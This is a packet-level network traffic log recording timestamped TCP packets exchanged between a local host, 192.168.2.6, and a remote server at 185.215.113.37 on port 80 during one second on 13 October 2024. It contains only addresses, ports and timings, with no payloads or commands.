Oct 13, 2024 00:47:52.660888910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.660954952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.660988092 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.660990000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661021948 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661026001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661031008 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661068916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661072016 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661107063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661120892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661148071 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661159039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661201954 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661214113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661252975 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661267996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661308050 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661310911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661345959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661370039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661385059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661396027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661432028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661433935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661473036 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661480904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661514997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661520004 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661550045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661562920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661586046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661587954 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661621094 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661623001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661655903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661657095 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661690950 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661693096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661725998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661737919 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661763906 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661781073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661814928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661819935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661850929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.661851883 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.661895037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662178993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662213087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662220955 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662247896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662249088 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662286997 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662303925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662338018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662342072 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662370920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662380934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662405014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662406921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662439108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662441969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662481070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662492037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662529945 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662544012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662576914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662581921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662611008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662615061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662646055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662652016 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662681103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662683964 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662718058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662719011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662755013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662755966 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662790060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662791967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662825108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662827015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662859917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662862062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662894964 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662897110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662931919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662934065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.662965059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.662967920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663000107 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663002014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663033962 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663041115 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663069963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663072109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663104057 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663105011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663137913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663141012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663172007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663176060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663206100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663208961 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663240910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663243055 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663275957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663279057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663312912 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663362026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663399935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663415909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663450003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663456917 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663484097 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663486958 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663516998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663532972 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663549900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663556099 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663584948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663587093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663619995 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663623095 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663657904 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663764954 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663806915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663815022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663842916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663844109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663877964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663883924 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663913012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663918972 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663947105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663960934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.663980961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.663985014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.664016008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664020061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.664051056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664053917 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.664083958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664088011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.664119005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664135933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664163113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.664170027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664201021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.664205074 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664227962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.664242983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664243937 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.664278984 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.664278984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664314985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.664551020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664585114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664594889 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.664619923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664623022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.664653063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664657116 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.664688110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664691925 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.664721012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664725065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.664757967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664766073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.664793968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.664793968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664829016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664849043 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.664863110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664865971 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.664896965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664930105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664938927 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.664968014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.664971113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.665009022 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.665014029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.665044069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.665047884 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.665077925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.665083885 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.665113926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.665117025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.665147066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.665152073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.665182114 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.665184975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.665224075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.667851925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.667937040 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.668019056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.668050051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.668066025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.668088913 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.668106079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.668138981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.668148041 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.668171883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.668174982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.668206930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.668210030 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.668241978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.668243885 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.668277025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.668278933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.668317080 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.668345928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.668386936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.668396950 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.668421030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.668425083 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.668454885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.668457031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.668489933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.668493032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.668520927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.668529034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.668556929 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.750164032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.750222921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.750242949 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.750277042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.750287056 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.750313044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.750328064 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.750345945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.750360966 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.750399113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.750403881 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.750432968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.750458956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.750468016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.750490904 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.750502110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.750509977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.750536919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.750549078 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.750571012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.750586987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.750605106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.750617981 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.750641108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.750664949 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.750677109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.750696898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.750710011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.750719070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.750746012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.750761032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.750781059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.750801086 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.750839949 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.750941992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.750977039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751005888 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751029968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751053095 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751065016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751077890 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751099110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751107931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751132965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751152039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751169920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751194000 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751204014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751211882 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751238108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751255989 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751272917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751293898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751307011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751333952 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751364946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751369953 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751415014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751420975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751470089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751477957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751528025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751528978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751564026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751578093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751597881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751610994 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751650095 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751669884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751703024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751727104 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751738071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751749039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751773119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751781940 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751806974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751821995 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751842022 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751861095 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751882076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751899958 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751924992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.751943111 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.751971960 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.794689894 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.799623013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.013540983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.013624907 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.013712883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.013729095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.013745070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.013761044 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.013789892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.013911963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.013938904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.013952971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.013957024 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.013961077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.013994932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.014024019 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.014121056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.014136076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.014151096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.014166117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.014168978 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.014184952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.014192104 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.014228106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.014250040 CEST	49711	80	192.168.2.6	185.215.113.37
